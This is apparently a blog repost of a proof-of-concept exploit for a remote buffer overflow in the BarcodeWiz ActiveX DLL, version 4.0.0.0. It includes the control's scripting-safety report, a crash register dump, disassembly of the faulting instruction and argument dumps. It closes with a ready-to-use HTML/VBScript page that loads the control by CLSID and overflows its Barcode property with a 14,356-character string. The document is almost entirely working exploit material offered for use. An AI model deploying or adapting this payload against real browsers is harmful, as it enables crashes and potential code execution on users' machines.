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Monday, 13 August 2012

BarcodeWiz.dll remote Buffer Overflow PoC

  1. Exploit Title: BarcodeWiz.dll remote Buffer Overflow PoC
  2. Date: July 25, 2012
  3. Author: Kypto  
  4. Kypto@programmer.net
  5. Https://twitter.com/ddos101
  6. Version: 4.0.0.0
  7. Tested on: windows 7 SP2
  9. ==========================================================================
  10. Class BarCodeWiz
  11. GUID: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
  12. Number of Interfaces: 1
  13. Default Interface: IWiz
  14. RegKey Safe for Script: True
  15. RegkeySafe for Init: True
  16. KillBitSet: False
  17. Report for Clsid: {CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6}
  18. RegKey Safe for Script: True
  19. RegKey Safe for Init: True
  20. Implements IObjectSafety: True
  21. IDisp Safe:  Safe for untrusted: caller,data  
  22. IPersist Safe:  Safe for untrusted: caller,data  
  23. IPStorage Safe:  Safe for untrusted: caller,data  
  24. --------------------------------------------------------------------------
  25. Registers:
  26. --------------------------------------------------------------------------
  27. EIP 023F8D42
  28. EAX 00000021
  29. EBX 00000ADD
  30. ECX 025A2F58 -> 02439F8C
  31. EDX 00000001
  32. EDI 0046D48C -> 00000068
  33. ESI 025A2F58 -> 02439F8C
  34. EBP 0046D47C -> 0046E48C
  35. ESP 0046D464 -> 025A0AA8
  38. Block Disassembly:
  39. ----------------------------------------------------------------------------
  40. 23F8D33 INC EBX
  41. 23F8D34 MOV [EBP+8],ECX
  42. 23F8D37 PUSH ECX
  43. 23F8D38 PUSH DWORD PTR [EBP-8]
  44. 23F8D3B MOV ECX,ESI
  45. 23F8D3D CALL 023F837E
  46. 23F8D42 MOV [EDI+EBX*4],EAX       <--- CRASH
  47. 23F8D45 INC EBX
  48. 23F8D46 DEC DWORD PTR [EBP-4]
  49. 23F8D49 MOV EAX,[EBP-4]
  50. 23F8D4C CMP EAX,[EBP-C]
  51. 23F8D4F JL 023F8C80
  52. 23F8D55 JMP 023F8ECE
  53. 23F8D5A MOV EAX,[ESI]
  54. 23F8D5C PUSH EBX
  57. ArgDump:
  58. --------------------------------------------------
  59. EBP+8   00000006
  60. EBP+12  025A2F58 -> 02439F8C
  61. EBP+16  00000068
  62. EBP+20  00000021
  63. EBP+24  00000021
  64. EBP+28  00000021
  66. ============================================================================
  67. <html>
  68. Exploit
  69. <object classid='clsid:CD3B09F1-26FB-41CD-B3F2-E178DFD3BCC6' id='poc' /></object>
  70. <script language='vbscript'>
  71. targetFile = "C:\Program Files (x86)\BarCodeWiz ActiveX Trial\DLL\BarcodeWiz.dll"
  72. prototype  = "Property Let Barcode As String"
  73. memberName = "Barcode"
  74. progid     = "BARCODEWIZLib.BarCodeWiz"
  75. argCount   = 1
  76. arg1=String(14356, "A")
  77. poc.Barcode = arg1
  78. </script>
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